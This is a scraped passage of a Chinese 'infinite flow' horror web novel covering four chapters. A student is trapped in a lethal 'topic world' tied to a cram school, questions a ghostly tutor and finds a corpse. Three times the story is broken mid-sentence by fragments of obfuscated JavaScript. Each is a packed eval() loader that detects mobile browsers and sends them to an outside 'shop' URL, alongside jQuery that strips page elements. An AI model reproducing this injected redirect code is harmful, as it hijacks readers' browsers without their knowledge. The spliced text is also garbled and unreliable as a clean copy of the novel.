《我不想考研![无限]》 1. 人祭(1) “滋滋滋——” 手机接连不断的震动不住地砸向空荡荡的厕所,使得原本微不可闻的声音显得清晰尖锐,吵得本来就头疼的彦歌太阳穴突突地跳。 “啧。” 彦歌将自己从冰冷刺骨的流水里拔出来,一只手随意地抹掉脸上的水渍另一只手拿起一旁放在水池上照亮的手机。 “喂。” 手电筒的光在镜面上映出一个刺眼又模糊的光晕,不甚清晰的显现着彦歌惨白憔悴的面容。 “彦小姐您好,我是‘包你考上’的李老师,今天打电话是想问问您,我们这边有个去热带雨林修学的研学活动,请问您有兴趣吗?” “没有。” “额,是这样的彦小姐,我们这个活动的目的是为了增加您的知识储备,对您将来考研是有很大帮助的,而且我们这个活动是完全免费的.....” “你觉得我缺这点钱?” 彦歌面色阴沉地挂掉电话,并顺手将来电人拉入黑名单。 这群人竟敢背着她擅自报这什么劳什子的考研机构?! 彦歌紧握着手机,盯着手机屏幕上巨大的“12:00”看了好一会才关上。 如果是平时,这个电话就算打来了她也接不到——她早就睡着了。可是现在,二十年来从未失眠过的她居然连续失眠两周了。 最近两天彦歌睡着的时间加起来还没有六个小时,她长时间紧绷的神经在这通电话打来时轰然倒塌。 彦歌紧闭着眼,双手死死握住水池边,撑住想要倒塌的身体。 缓了好一会她才重新睁开眼,扫了眼镜子里憔悴的有些陌生的自己,然后面无表情地拿起手机转身离开。 然而就在彦歌踏出厕所门口的那一刻,天花板上原本坏掉的灯骤然闪了一瞬。 使整个厕所瞬间亮如白昼。 等彦歌回寝时原本欢声笑语的寝室已经安静如水,大家好似都已陷入沉睡。 “彦歌你没事吧?”陈落落听到动静后拉开床帘,露出颗头,“你厕所怎么上了这么久?” 正准备上床的彦歌动作一顿,语气平静疏离:“我没事。” 陈落落望着彦歌单薄的背影皱眉,但自己与彦歌的关系也没好到继续追问的程度,于是只能干巴巴道:“那好吧,你早点休息吧。” “也不知道我们寝室厕所什么时候能修好...”刘羽见彦歌心情不佳,连忙岔开话题。 “很快了。”李小小安慰道。 彦歌在室友小声的讨论中竟奇迹般感受到一丝睡意,没过多久,她就沉沉睡去。 “彦歌睡着啦,我们别说话了......”陈落落小声提醒。 这是彻底睡着前,彦歌听到的最后一句话。 “尊敬的各位旅客,我们即将到达终点站热带雨林,请各位拿好自己的行李和随身物品,有秩序地下车,以免造成拥堵,祝各位旅客旅游愉快!”骤然响起的机械女音撕碎了车中的寂静。 什么声音? 彦歌迷迷糊糊地睁开眼,发现自己竟出现在一辆旅游车上,她下意识抬头,车上的电子板赫然飘着几个大字:“热带雨林站”。 在做梦吗? 彦歌仍穿着睡觉时的白色睡裙,但脚上却是一双从未见过的灰色运动鞋,抬脚轻轻踩了踩,轻盈的质感传至彦歌脑中——这真的是梦吗? 听说疼痛能分清现实和梦境,但彦歌看了看自己白嫩的胳膊,最终还是没忍心下手。 彦歌只好将目光转向周围。 这是一辆中型大巴,看起来有些年头了,开得稍微快点就会嘎吱作响,外壳的黄色油漆掉了不少,车窗上纵横交错着一些不知从何而来的划痕。 车上几乎坐满了人,但这些人皆是一脸惨白、目光麻木,半天也没有人说话,整辆车如死一般安静。 就连她身旁坐着的小女孩也是如此。 小女孩扎着一个马尾,脸色苍白,身形瘦小,穿着一身陈旧的衣服,从刚才开始就一直垂着头安静地坐在位置上,一动没动。 这些人怎么感觉都不正常? 彦歌收回视线转头看向窗外。 外面高树环绕,枝壮叶肥,除了他们走的这一条路,其他地方在树叶的遮挡下几乎照不进任何阳光。 难道她真的来到热带雨林了?可她明明上一秒还在睡觉,还是说……是那个考研机构的搞的鬼? 但他们又是怎么神不知鬼不觉的把自己送到这里来的,又有什么目的?是那些人示意的吗? 彦歌莫名觉得自己要倒大霉了。 “滴!” 骤然停下的大巴打断了彦歌纷飞的思绪。 车上的人陆陆续续开始下车,彦歌没时间多想,只能先跟着队伍一起下车。 炽热的阳光在彦歌踏出车内的那一秒就将她淹没,本该被烤得焦烫的皮肤却无端冒出一层冷汗,将衣服与皮肉紧紧粘在一起,潮湿又黏腻的感觉让彦歌情不自禁地打了个喷嚏。 “欢迎各位来到热带雨林,我是你们的导师李老师,希望各位能在此好好学习,顺利完成课题。” 李老师? 彦歌微皱着眉看着前面不远处拿着一个‘包你考上’旗帜的帅气男青年。 她记得李老师微信上发来的照片是个有些秃头的男人啊。 或许是另一个李老师吧。 彦歌抿抿唇,决定先按兵不动。 “现在请大家跟着我,我带你们去住宿的地方。”李老师说完嘴角扯出一抹诡异的微笑。 “记得千万要跟紧我呀!” “这......这是哪里啊?!你们又是谁?”一个扎着低马尾的女生忍不住崩溃地大喊。 “原来有新人啊......刚才车上一点动静没有,我还以为这次没有新人呢。”一旁的黄毛见状嘀咕道。 新人? 彦歌眉头微蹙,继续保持沉默。 “这里是课题世界。”一个长着络腮胡的男人出面解释,“你是不是加入了‘包你考上’机构?” “是……这个机构怎么了吗?”低马尾紧紧抱着自己的双臂,似乎在努力忍住自己崩溃的情绪。 “加入这个机构的人会被抽取拉到这个地方,强行完成课题,我们只有完成课题才能离开这里,否则会死。另外,如果触犯课题中的死亡条件,也会死。而想要彻底离开,就只有考研成功。”络腮胡解释道。 彦歌目光骤地一冷。 怪不得叫什么“包你考上”呢,考不上的都死了,可不就所有人都考上了? 不过……这种事,那群老东西难道会不知道吗? “这……这怎么可能?!这种事情怎么可能办得到?!”低马尾瞪大双眼,声音下意识提高。 “那你怎么会出现在这里?”络腮胡眼中带着一抹嘲讽,“认清现实吧。” 低马尾紧握着拳,像是难以接受这个事实:“谁知道是不是你们合起伙来骗我?” “那你就自己走吧,不过走了就别回来了。”络腮胡似乎没多少耐心,见低马尾油盐不进便不准备再多说。 “我...”低马尾紧拽着衣角,想再问问周围的人,却发现大家皆是一脸冷漠。 “行了,我们已经耽误几分钟了,赶紧先跟上导师吧。”络腮胡不再搭理低马尾,转头看向其他人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662059|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 众人点点头,跟着络腮胡去追随导师的身影。转眼间,原地就只剩下低马尾一人。 低马尾望了望周围参天的大树,她虽然不知道络腮胡说的到底是真的还是假的,但是作为一个现代人,她很清楚一个人在深山里会怎么样。 “我...我信!你们别丢下我一个人!”低马尾语气中带着哭腔,崩溃地大喊。 络腮胡停下脚步,转头看向低马尾:“那你就快点跟上吧。” 低马尾擦擦脸上的泪水,一路小跑跟上队伍。 因为不确定目前到底是什么情况,彦歌只敢跟在队伍的最后面。 队伍共有十个人。其中有几个人是挨在一起的,看上去像是认识,但奇怪的是,相互之间竟然一句话都不说。 而且刚才车上明明坐满了人,可下车之后居然都不见了。 那些人呢?彦歌心神不宁地想。 这条路长的几乎看不到尽头,大家多少都面露疲态,但李老师的步伐却依旧稳健。 彦歌看了眼手上的腕表——已经走了快两个小时了。 再次穿过一片森林后,他们终于抵达了地点。 “这个竹楼就是大家的住宿了,我住在那里,大家如果有什么难题可以来找我。”李老师指了指竹楼旁边的阁楼。 “如果遇到特殊情况的话,也可以来我的办公室躲避哦~” 李老师弯着眼睛,嘴角噙笑望着众人。 “大家没有问题要问的话,我就先回房间了。” 李老师说完就转身走了,根本没想让他们询问的意思。 令人奇怪的是,李老师一走,队伍里的人一瞬间就放松了下来,开始稀稀拉拉地说起了话。 彦歌忽然想起刚才。 这些人跟上导师后也并未靠近,只保持着一个刚刚好可以看见导师背影的距离。 仿佛导师是什么洪水猛兽一般。 低马尾咬着下唇,有些不安地开口:“我们要怎么才能离开这里?” 络腮胡瞥了一眼低马尾:“找到课题主线,完成课题主线后刚才的大巴会来接你,坐上大巴就可以离开了” “那考研成功是我们考上了就可以离开了吗?”低马尾心里升起一丝希翼。 “不。”络腮胡的声音平缓但说出的话却让人心生绝望,“是在这个课题里考研成功。” “这个课题里?”低马尾呆呆看着络腮胡,眼角的泪滴顺着脸颊滑落,“这要怎么才能成功?” 络腮胡叹了口气,有些无奈:“我也不清楚,但具他们说,只要你成功通过了一定数量的课题,就能够参加最终课题,只要通过了最终课题,就算考研成功。” 听完络腮胡的话,彦歌眼中闪过一丝冷意。 一定数量的课题?是几次?这事又是谁说的?这个络腮胡知道的也只是皮毛,事实到底是不是如此,恐怕他也无从得知。 “那,那那个老师是……”低马尾嗫喏着开口。 络腮胡眼中猛地闪过一丝恐惧,接着严肃果决道:“它算什么老师?!不想死的话,就离它们越远越好!” 低马尾被络腮胡的态度吓得一抖,连忙小声道:“我知道了。” “行了,刚才车上那么安静,现在话这么多。”黄毛不耐烦地开口。 低马尾见状立马闭嘴低头,有些害怕地往后缩了缩。 黄毛说完又扫视了一圈众人,语气随意却充满威胁:“都别拖后腿就行,否则可别怪我不客气。好了,我们赶紧进去吧” 不客气? 看来这些人果然不可信。 彦歌敛下眼中神色,继续沉默地跟在他们身后。 2. 人祭(2) 在离竹楼尚有一段距离时,彦歌就闻到了一股清香。闻着这股味道,彦歌觉得自己紧绷的心情都舒缓不少,如果不是在课题中,这倒是个避暑的好地方。 竹楼一共有三层,一层是客厅和厨房,另外两层是房间,每层有五个房间。 彦歌选择了二楼第一间。 “喂,这房间是我的。”黄毛微抬下巴,略带俯视地望着彦歌。 彦歌仿佛没听见一般继续推开房间的门,径直往里走。 “我跟你说话你听见没?”黄毛一把抓住彦歌的胳膊,一脸不耐。 彦歌停下脚步,扫了眼被黄毛抓住的胳膊,微微侧头看向黄毛:“松开。” 眼前的女生皮肤白皙透嫩,身体单薄娇小,但被那双古井无波的黑瞳注视时黄毛竟下意识听话地放开了手。 不对,我怕一个小丫头干什么?! 反应过来的黄毛往地上啐了口唾沫,本想继续威胁彦歌,但一张嘴却气势全失:“你、我刚才说话你听见没?这房间是我的!” 彦歌先拍了拍刚才被黄毛碰过的胳膊,才抬头看向黄毛:“我先进来的。” 黄毛一向行事乖张,在课题里别说女人就是男人对他也是能忍则忍,但眼下在彦歌这柔弱无骨的小丫头面前竟没讨到好,他一下愣住了。但随即眉毛一横,脸上表情有些扭曲地冷笑道:“我说这是我的,就是我的!” 彦歌黑色的双瞳中划过一丝不屑:“这房间写你名字了?” “你......!”黄毛还想再说什么,却被赶忙过来的络腮胡打断。 “你跟一个女孩抢房间干什么?!给我过来。”络腮胡先是疾言厉色地训斥黄毛,然后转头一脸歉意地看向彦歌:“不好意思啊,他脾气比较急。” 彦歌微微颔首,一直看着黄毛满脸不甘地被络腮胡塞进旁边的房间后才转身回了房间。 房间内布置简单,只一张竹床、一张桌子、一把竹椅还有一个衣柜。衣柜里有几件棉麻质地的衣服,看上去是新的。 彦歌上前推开桌子前的窗户,微风不急不缓地吹进屋内,轻轻卷起彦歌及腰的长发。窗外的世界被一望无垠的雨林填满,除了远处一个不甚清晰的小村庄,彦歌再也看不见其他。 没等彦歌在房里呆多久,楼下就传来其他学生的叫喊。 “这次课题不供应熟食,我们只能自己做。我和青青会做饭,你们还有谁会吗?”说话的人长着细眉圆脸,一副脾气很好的样子。 李青青就是刚才的新人低马尾。 李青青紧紧贴在圆脸女的身后,看上去已经把她当成精神支柱依赖了。 “我不太会。”络腮胡面目尴尬。 其他人也扭扭捏捏表示自己不太会。只是到底是真不会还是不想干,那就不得而知了。 圆脸女仿佛早已预料到了这个场面,温声道:“没事的,那就我和青青来吧。” “那就麻烦你们了。”一个卷毛大眼的男生不好意思道。 络腮胡眼尖地发现出现在楼梯上的彦歌,便火速招呼道:“人到齐了,我们赶紧说说课题的事吧。” “不知道各位注意到没,我们附近有一个村庄,我猜测我们这次课题跟那个村庄有关系。” 圆脸女点头:“我也觉得,不然这附近也没有别的线索了。总不可能让我们去雨林里瞎转吧?” “趁天还亮着,等会去村子找找线索吧。”坐在圆脸女身边的寸头男开口,他看上去和圆脸女认识。 络腮胡点头:“可以。我建议大家先找找这次课题天数,以防日后没算好时间。” “没算好时间会怎样?”李青青怯懦道。 络腮胡:“那就要一辈子留在这里了。” 李青青一脸惊恐地僵在原地。 大部分人都选择先前往村庄寻找线索,但彦歌并不准备跟随他们一同前往。一是她现在一无所知,要是被他们发现她也是新人她将无法解释。二是她可不想跟黄毛那个蠢货一起行动,靠近蠢人会招来不幸,尤其在这种不知道是哪里的地方。 三是她早就决定好去探探那个导师了。 络腮胡那番说辞,什么线索都没有。彦歌只能自己前去试探了。 “李老师,在吗?”彦歌礼貌地敲了敲门。 “稍等。” 在等待的过程中,彦歌站在阁楼走道的栏杆前睃巡,阁楼楼层应是整个课题最高的建筑,从阁楼往下看,几乎是一览无余。 “彦歌,有什么事吗?”李老师打开门,一张清朗的面孔映入彦歌眼帘,如果忽略他青白的肤色和阴冷的气质的话,也称得上是风度翩翩。 他怎么会知道她的名字? 彦歌轻声道:“我可以进去说吗?” 李老师愣了愣,但随即露出抹笑,侧身让开:“请进。” 阁楼不大,但李老师一个人住是绰绰有余了,里面有一张床,一张书桌,两把椅子。但奇怪的是,这里没有食物也没有厨房。 李老师坐在其中一把椅子上,又指了指另一把椅子示意她坐,然后扶了扶鼻梁的眼镜:“现在可以说了吗?” 彦歌整理好裙子坐下后才开口:“李老师,您刚才说什么问题都可以问您?” 李老师动作一顿,意味不明的笑了下,镜片下的眼睛抬眸看向彦歌,语气说不上是好还是坏: “当然了。” 彦歌问:“那我们的课题是什么呢?” 目前不清楚导师具体情况,问课题是最安全的。 课题世界,那课题一定是最重要的。既然如此,问课题就不可能成为死局。 李老师脸色一变,声音不自觉沉下几分:“什么课题?虽然我是你们的导师,但完成课题的事还是需要自己亲自来。” 彦歌摸着自己的腕表,眼角微弯,并不给李老师装傻的机会:“李老师,课题就是主题呀,您不告诉我们什么主题,我们怎么知道您需要我们完成的课题到底是什么样的?” “难道...身为导师,您连这个都不知道吗?”彦歌困惑地看着李老师,脸上浮现几分纠结,“您这样,很难不让我怀疑,您是冒牌的。毕竟跟我联系的李老师,是个体态肥胖的...” “...那是另一个李老师!”李老师咬着牙,眼神阴毒地出声反驳。 “那么...课题......”彦歌小心翼翼地开口。 “……祭祀。”李老师惨白的脸上出现一丝裂痕,眉宇间布满黑云,“我只是一时没反应过来。毕竟,很、少有学生来向我请教。” 李老师刻意加重‘很少’二字,像在指责彦歌的不懂事又像是对彦歌特立独行的警告。 彦歌却假装没听懂,露出一副感激的样子:“是吗?那真是谢谢老师了!我想知道,我们有任何问题都可以来问您吗?” “当然了。”李老师不知想到了什么,刚才阴沉的脸色忽然转好,没有血色的唇瓣咧出一个诡异的笑容。 “我们一向鼓励学生不懂就问。” 彦歌眸底微闪,语出惊人道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662060|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想知道您跟我二叔有关系吗?” “?” 李老师被彦歌这莫名其妙的问题一下弄懵了,沉默几秒后才咬牙切齿道:“没有!” 彦歌见李老师这幅气急败坏的样子心下了然,不动声色地勾了勾唇。 看来有些问题果然是不可以问导师的。 “可以了!”李老师见彦歌还想开口,连忙出声制止,“一个学生只能问三个问题,还想再问的话,就需要东西交换了。” 那也能算一个问题吗?彦歌心中不满,但面对李老师乌云密布的脸也不敢再随意开口。虽然李老师所言不知道真假,但她目前可不想以身试险。 “好吧,谢谢李老师。” 李老师闭上眼向彦歌摆手,示意她赶紧出去。 走出房间后彦歌迅速收起笑容,导师肯定还有什么事情瞒着他们,并且这件事一定比课题内容还要重要。 如果能知道他掩藏的是什么,估计就能对课题有更深一步的了解。但导师势必不会说实话,想要知道是什么还得再做打算。 她身为新人对课题知之甚少,还是得找个知情者合作,否则自己太被动了。 村庄名叫长乐村,但周围随处可见的干涸的土地、几乎都是泥土和杂草堆砌而成的房屋,以及这些面色苍白、身披破布麻衣的村民,都无法让人将此与长乐二字联想到一起。 以络腮胡打头的四五个人都在试图从村民的嘴里套出线索。这些人都不适合作为她的合作对象。 彦歌在暗处看了会就调转方向去了别处。 幸好她运气不错,没多久就找到了目标。 不远处的一栋瓦房上趴着一个身穿黑衣长裤的年轻男人,她记得他是叫......秦允。 彦歌压低脚步靠近瓦房。里面有几个村民正在讨论着什么,他们的声音不大,彦歌又不敢靠太近,依稀只能听见村庄、集会这几个词。 瓦房上忽然发出一丝响动,所幸动静不大,屋内的人又沉迷交谈,所以除了彦歌和发出声音的那位,没有别的人发现。 秦允担心自己被发现正在四处张望,在发现那些村民并没有发现他时他松了口气,正准备继续偷听时,余光却看到下面一个长发白裙的人正在冲他招手。 秦允呼吸一窒,翻身下了房顶。 “有什么事吗?”秦允绷着脸看着彦歌。 “嗯...”彦歌对着秦允微微一笑,“你也不想你爬房顶的事被人发现吧?” “......” 这是威胁。 秦允眉头微蹙,冷漠地看着彦歌。 从刚进课题他就注意到她了,一身泡泡纱质地的白色睡裙,乌黑靓丽的长发顺滑地垂在腰间,杏眼翘鼻,肤白唇红,一副来郊游的大小姐的样子。他本以为她也是新人,毕竟他从没见过两手空空就进课题的老人。可她却敢公然顶撞黄毛,这样嚣张的作风不可能是新人。 现在又神不知鬼不觉出现在他旁边。秦允沉默地审视着彦歌。 彦歌也不避着,大大方方让他看。良久,秦允才开口:“你想干什么?” “合作吗?”彦歌伸出一只手,面带微笑地看着秦允。 秦允没立刻回复,只冷声道:“我很少跟人合作,你能拿出什么价值?” “你马上就会知道了。”彦歌轻轻一笑,收回伸出的手。 “那就到时候再说吧。”秦允随口敷衍道。 他只当彦歌在拖延时间,眼下才第一天,她能有什么线索? 3. 人祭(3) 彦歌和秦允回到竹楼时热腾的饭菜已整齐地摆在桌上,而其他人端坐在位子上,俨然一副就等他们的样子。 “啧。” 黄毛斜眼看向他们,张张嘴似乎想说什么,但余光中络腮胡警告的眼神让他只能又憋屈地低下头。 圆脸女见他们回来后心里松了口气,温和道:“你们总算回来了,快坐下吃饭吧。” 彦歌点点头,和秦允一起坐在剩下的两个空位上。 “大家都说说自己的发现吧。”他们刚一坐下络腮胡就迫不及待地开口:“我们去了前面那个村庄,那些村民好像都挺排外的,我们跟他们搭话没有一个人理。” “我们也去了村庄。”圆脸女看了眼旁边的寸头,抿抿唇斟酌道:“就像杨伟说的一样,那些村民很排外,什么也没问出来。” 杨伟是络腮胡的名字。 “我们在周围村子转了转,想研究地形。”卷毛男一边说一边指了下坐在自己身边沉默寡言的锅盖头男:“村子旁边有一座很高的山,看上去挺危险的,我们没敢上去,其他没看到什么特别的。” 他们跟杨伟和黄毛一样,都是互相认识的。 “你俩呢?”黄毛侧头看向彦歌和秦允,语气古怪:“这么晚回来,肯定有不少发现吧?” “嗯,我看见村民们聚在村长家开会,好像在商议什么事情,他们的表情看上去挺严肃的。”秦允很痛快的开了口,倒是让黄毛有些意外。 “开会?”杨伟眉心一蹙,“你有听到什么吗?” “只听到什么七天。”秦允轻轻叹了口气,语气无奈:“我不敢靠太近,怕被发现。” 而杨伟却并未失望,反倒一脸惊喜:“没事,这也是个很重要的讯息!想必我们这次的期限就是七天了。” 其他人紧绷惊虑的心情一下纾解不少,连带着脸色都好看了一些。 “彦歌你呢?”黄毛依依不饶。 彦歌好似并不在意黄毛咄咄逼人的态度,不缓不慢地放下手上的碗筷,声线徐缓:“我知道课题是什么。” 然而眼前的场景却出乎彦歌的意料,众人皆是一脸呆滞地坐在原地。 几秒过后,黄毛猛然发出一声“嗤笑”:“你在说梦话吗?要不要回去睡一觉?” 彦歌没回应黄毛,沉默两秒后轻笑一声,圆亮的杏眸带着一丝嘲讽嫌弃的意味扫视了一圈在坐的人。 “你们这群考研的,竟连课题都不知道?” 众人面面相觑了几分钟后卷毛男才半信半疑地开口:“你的意思是你知道课题的内容?” 许是觉得卷毛男有些脑子,彦歌分给他一个眼神,鼻腔轻哼出一声“嗯”。 这其实是一个很简单的文字游戏。制造课题的人目的虽然不知道是什么,但一定不是想让他们活,所以导师叙述时特意隐瞒了“课题是什么”这一件事,而只说完成课题很容易让人们想当然认为此课题非彼课题,认为“课题”这一词和游戏中的副本一样,只是一个有些另类的称呼。 当然,只要静下心来仔细想想不难发现这个陷阱,可学生身在这诡异万分、不知是何处的地方又有谁有心思去思索剖解这不知是人是鬼的导师的话呢? 即使后续有人真的心生怀疑估计也没那个勇气去询问导师,久而久之,这件事在学生脑子里形成惯性便不会再有人思考了。 卷毛男了然地点点头:“我们一开始也想过这个问题,但从来没找到过,也没见有人说起。还以为是想多了,没想到......” 但黄毛只觉得可笑,他进课题这么久就没听说过这种说法,这个彦歌绝对是在虚张声势。他这么想着,于是抬手打断卷毛男,饱含恶意道:“那你说说课题是什么?你又是如何得知?” 面对众人或疑惑或怀疑的眼神,彦歌并未有丝毫胆怯,语气仍旧徐缓:“课题是祭祀。我去问了导师。” 此话一出,空气再次陷入沉默。众人各怀鬼胎地暗地打量彦歌,像是确定她说的是真是假。就连秦允,也感到有些惊愕。 彦歌却并不在意,拿起杯子喝了口水,语气随意:“你们爱信不信。” “我们不是不信你,只是这件事我们确实也是第一次听说,你如果不拿出证据,万一我们后续出事了怎么办?”杨伟担心彦歌真有什么消息,连忙出声解释。 彦歌有些不耐:“我能拿出什么证据?这里有监控能为我证明吗?” 她本以为这些人多少知道点什么,结果现在看来他们对课题也是一头雾水。 在一片沉默中,李青青却忽然颤颤巍巍地举起手,有些磕巴道:“我...我下午没敢跟着出去,就一直呆在竹楼......我在走廊上看见彦歌去阁楼了...” 这下不止众人,连彦歌也有些惊讶。 见李青青这样说,圆脸女也说:“是这样的,青青跟我们去的路上因为太害怕我就让她先回来了。” 李青青是新人,对课题一无所知,跟彦歌也不熟,没道理帮着彦歌说话,众人这下终于相信彦歌说的是真的。 杨伟舒了口气,面露喜色:“看来确实如彦歌所说了。” “你为什么会想到去问导师?”你不怕他把你杀了吗?杨伟最后的一丝理智让他将这句话憋了回去 彦歌懒得再跟他们解释那么多,只敷衍道:“你论文写不出来不问导师吗?” 杨伟一下噎住。这导师跟现实中的能一样吗...... “不重要不重要,知道了课题就好,这下我们就不用到处摸黑找主线了。”卷毛男打圆场道。 在彦歌说出课题之前,他们都得先花大量的时间去找主线。眼下有了课题的指引,他们终于不用像无头苍蝇一样乱窜了。 彦歌提醒:“不过我不知道他的话是真是假。” 自从知道课题是什么后杨伟心情明显大好,只要彦歌问话他都积极回答:“是真的。我之前遇到的前辈跟我说过,导师不会骗人的。” “就这样你们也什么都不敢问?”彦歌凉凉道。 眼见杨伟在彦歌这里一再吃瘪,黄毛忍无可忍,一拍桌子站起来:“你不要以为你有几分头脑,找到了一些线索就可以在我们面前耀武扬威!杨哥不敢问是因为之前课题有人去找导师却再也没回来!” 此话一出,杨伟的脸色骤然黑了一瞬。彦歌没有错过这一瞬,面带微笑地看向黄毛,双手松弛的交叉放在桌上,语气难得温和:“你也有不错的运气,只过了这么几个课题就能知道如此关键的线索。” 她现在感觉黄毛也没那么烦人。 “你!”黄毛手指用力指向彦歌,怒发冲冠。 “好了!”杨伟按着黄毛的肩膀将他压回去,往常平静的眼中此时带着一丝火星:“我跟你说了多少次不要冲动?!” “实在对不起啊彦歌!”杨伟抹了把额头的汗,低头跟彦歌道歉。 彦歌摆摆手:“没事。” 这两个要演这种戏码到什么时候?这简直是她这辈子看过最无聊的剧本。 寸头显然也有些不耐烦,粗声道:“今天就到这里吧,明天我们按着彦歌的线索去找。” 其他人早有此意,于是寸头一说他们就立马纷纷点头,一个接一个地起身走了。 也不知道是累了,还是担心泄露出更多的线索? 不过彦歌眼下并没心情去思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662061|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些,她刚才并没怎么吃,现在正好能够安心吃饭。于是心情愉快地起身准备舀汤,但在低头的瞬间却感到楼梯处有道眼神落在她身上。 彦歌若有所思地转头看去,男人见彦歌看过来却立马慌忙转身快速上了楼梯。 她记得这个男人,也是个老人,但心理素质却比李青青还差。这样的人不值得她费神。 彦歌端着碗坐回去,却发现秦允也没有走。彦歌不在意地往嘴里喂了口汤。 “我同意合作。”秦允眼神复杂地开口。 “嗯。”彦歌随口应道。 秦允又说:“你是新人吧。” “噗”。 彦歌差点被刚喝进嘴里的汤呛到,接过秦允递来的纸擦了嘴后,才看向秦允:“何出此言?” 秦允冷淡的浅色琥珀瞳中映着彦歌浅浅的影子,有条不紊道:“如果你真的是老人不可能把这么重要的线索告诉他们,更不可能不确定导师说的是真是假。你其实就是想借此得到有关导师的线索,而当着所有人面说是担心我不告诉你实话。” 正拿着纸巾细细擦拭桌上刚刚溅出汤汁的彦歌动作一顿,她放下手里的东西,望向秦允的目光带着几分满意,鼓励道:“还有什么?” 秦允嘴角一抽,继续道:“你伪装成老人是担心他们不告诉新人实话,事实也确实如你所想。现在主动说出是因为虽然你是新人但却实力非凡,他们即使知道了也不能对你怎么样。” 末了,秦允抿唇:“没了。” “事实大部分如你所说,不过唯一你没猜到的是,你才是我的目的。” 秦允蓦地一愣。 彦歌看向秦允的目光像看一件完美的商品,语气充满赞扬:“像你这样聪明的人,一定不会跟他们一样只看着眼前的利益而对我有所隐瞒。” 秦允没有说话,幽深的目光在彦歌脸上来回打量,良久才开口:“你真的很冷静。” 他自诩自己第一次进课题时已经足够冷静理智了,但彦歌却比他更胜一筹。 “先不说目前我没有见到什么可怕的东西,再者,在这种不明朗的情境下,心急害怕只会让事情更糟。”彦歌终于完整喝了口汤。 “我刚刚隐瞒了别的线索没说。”秦允盯着彦歌看了几秒,忽然话锋一转。 意料之中的事。 彦歌点点头:“嗯。” “这些村民要开连续七天的集会,具体目的是什么我不知道,不过好像是三年轮一次的。” 跟她刚刚听到的倒是对上了。 彦歌喝汤的动作一顿,放下勺子正色道:“看来这是关键线索,以防被他们发现你隐瞒,明天我去集会。” 秦允点点头,起身道:“没问题,那我先走了,你也早点回去吧。天黑之后的课题可就没那么简单了。” 彦歌一向听劝,秦允走后没多久就回了房间。 窗外已然陷入黑夜,不同于白天靓丽清新的风景,夜晚的雨林仿佛被吞进了浓郁的黑雾中,透着房间的光几乎看不清外面的景色。 彦歌没再多看,利索地关上窗户后就开始检查房间。 课题里的人并不安全,她回来的最晚,这竹楼的房间又只能从房内上锁,谁知道有没有人进过她房间。 在一番仔细的搜查后,彦歌在衣柜下面找到了一块黑色的石块。 或许用石块来形容并不恰当,它只是外形坚硬如石头,可材质却是一种彦歌不知道的泥土制成的。摸起来有些粗糙,仔细一闻还有一股淡淡的柏油和郁金香混合的味道。 来路不明的东西。 彦歌静静盯着石块看了会,然后果断打开窗户把它扔了出去。 4. 人祭(4) “彦歌?彦歌!彦歌你没事吧?!再不出声我们就进去了!” 彦歌在一波又一波的敲门声中终于缓缓睁开了眼,晃晃悠悠地起身去开门。 “出什么事了?”彦歌面色苍白,一副没睡好的样子。 圆脸女见彦歌脸色不好,连忙解释道:“我们见你半天没出来,担心你出事……” “我没事。”彦歌看了眼手上的腕表,早上7:14,差不多睡了六七个小时。 昨晚睡的很深,彦歌对此还算满意。 “出什么事了?” “挺能睡啊,隔壁死人了都不知道。”不等圆脸女说话,一旁的黄毛立马讽刺道。 彦歌看向黄毛:“那现在站在我面前的是鬼吗?” 黄毛被彦歌一句话堵住,一脸菜色地站在原地。他自己没把话说清楚能怪谁? 杨伟怕黄毛又惹事,急忙开口:“今天早上我们起来时发现王天天死了,你又半天不出来,我们担心你也出事了。” 王天天就是那个畏畏缩缩的男人。 彦歌眼中闪过一丝惊讶,即使她睡的再死,也不可能连不远处死人都察觉不到。 “王天天死了?” 杨伟急速点了下头,语气慌乱:“就死在他房间。” 王天天的房间位于二层最后一间。彦歌刚踏出房间就闻到了一股浓厚的血腥味,尸体在热带雨林高温的天气下有些腐败,刺鼻的血腥味混着尸体腐败的气味随着走廊吹进的风一起卷入彦歌的鼻腔中,熏得她差点吐出来。 尸体就在床上,整张床被血液沁透,血迹从床上一滴一滴流向门口,汇成一滩小小的洼。看外面的脚印,除了在里面不知道找什么的秦允,其他人应该都还没进过房间。 “好吓人啊……为什么会有这么多血?他怎么会死的这么惨……”李青青在彦歌过来前就已经看过一次了,但仍然害怕的躲在圆脸女身后。 彦歌面无表情地在原地看了会儿,抿抿唇,缓步走到王天天旁边。 王天天整个人是以双手双脚展开的姿势躺在床上的,脸上还带着舒心的笑意,看上去死前并未感受到什么痛苦。 